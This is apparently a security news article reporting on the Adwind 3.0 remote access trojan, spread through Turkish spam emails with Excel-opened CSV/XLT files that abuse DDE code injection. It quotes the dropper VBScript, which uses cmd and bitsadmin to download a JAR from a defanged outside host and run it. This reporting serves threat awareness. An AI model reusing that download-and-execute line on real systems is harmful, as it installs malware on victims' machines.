Saturday, April 13, 2024

New Adwind RAT Attack Linux, Windows and Mac via DDE Code Injection Technique by Evading Antivirus Software

New Adwind 3.0 RAT (Remote access Trojan) Evolving with new sophisticated capabilities, unlike old version it mainly attacks desktop version of  Linux, Windows and Mac OSX using DDE code injection technique.

Attackers are using weaponized Microsoft Office documents to compromise the targeted victims and also new capabilities that able to avoid detection by anti-virus software.

This attack mainly targeting Turkey and Germany via malicious spam email campaign which is started on Aug. 26, 2018, peaking on Aug. 28.

Previous version Adwind Widely spreading via A360 Cloud Drive Platform Abuse for Delivering Remote Access Trojans and used as a Malware Distributing Platform by using a File-sharing site to host Malware.

Another scenario Cross-platform Remote Access Trojan “Adwind” Steal Credentials, Record and Harvest keystrokes the Aerospace Industries Data.

Adwind 3.0 RAT can able to, log keystroke, take screenshots, take pictures or transfer files execute any kind of commands on its victims.

Adwind 3.0 RAT Code Injection Technique Scenario 

An initial stage of attack starts with the malicious spam emails with the body content written in the Turkish language along with an attachment of either CSV file or.XLT file.

Both campaign opened by Microsoft Excel by default and both files are capable of performing DDE code injection attack.

In this case, malicious dropper has the various malicious format in below list and note that all the extension will be opened by default in Microsoft Excel Document but non-default extensions, a script starting Excel with a file with one of these extensions as a parameter is still a viable attack scenario.

Once the victims will open the Excel file then it will display warnings to the user regarding the execution of code and it warned the user executing the different file format and the file will probably be corrupted if you’re open the file.

Another warning will displays that the document will execute the application “CMD.exe.” and once the user accepts the warnings, the system will open the calculator application.

The main purpose of the code injection technique used by attackers to create and execute a VBScript in specific content.

Set WXWYKNRG = CreateObject("Wscript.Shell")
WXWYKNRG.Run "cmd /c bitsadmin /transfer 8 /download hxxp://erayinsaat[.]live
%temp%\NMUWYTGO.jar&%temp%\NMUWYTGO.jar",0,True

Later it drops the final payload which is a is a Java archive file and the attacker packed this java payload using  “Allatori Obfuscator “ and the further research confirms that the packed malware as Adwind RAT v3.0.

According to Cisco Talos research, It’s a well-known multiplatform RAT with several configurations possible. The samples we tested were configured to achieve persistence on Windows, Linux and Mac OSX. Each platform has its own persistence name.

Website

Latest articles

Alert! Palo Alto RCE Zero-day Vulnerability Actively Exploited in the Wild

In a recent security bulletin, Palo Alto Networks disclosed a critical vulnerability in its...

6-year-old Lighttpd Flaw Impacts Intel And Lenovo Servers

The software supply chain is filled with various challenges, such as untracked security vulnerabilities...

Hackers Employ Deepfake Technology To Impersonate as LastPass CEO

A LastPass employee recently became the target of an attempted fraud involving sophisticated audio...

Sisence Data Breach, CISA Urges To Reset Login Credentials

In response to a recent data breach at Sisense, a provider of data analytics...

DuckDuckGo Launches Privacy Pro: 3-in-1 service With VPN

DuckDuckGo has launched Privacy Pro, a new subscription service that promises to enhance user...

Cyber Attack Surge by 28%:Education Sector at High Risk

In Q1 2024, Check Point Research (CPR) witnessed a notable increase in the average...

Midnight Blizzard’s Microsoft Corporate Email Hack Threatens Federal Agencies: CISA Warns

The Cybersecurity and Infrastructure Security Agency (CISA) has issued an emergency directive concerning a...
Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Top 3 SME Attack Vectors

Securing the Top 3 SME Attack Vectors

Cybercriminals are laying siege to small-to-medium enterprises (SMEs) across sectors. 73% of SMEs know they were breached in 2023. The real rate could be closer to 100%.

  • Stolen credentials
  • Phishing
  • Exploitation of vulnerabilities

Related Articles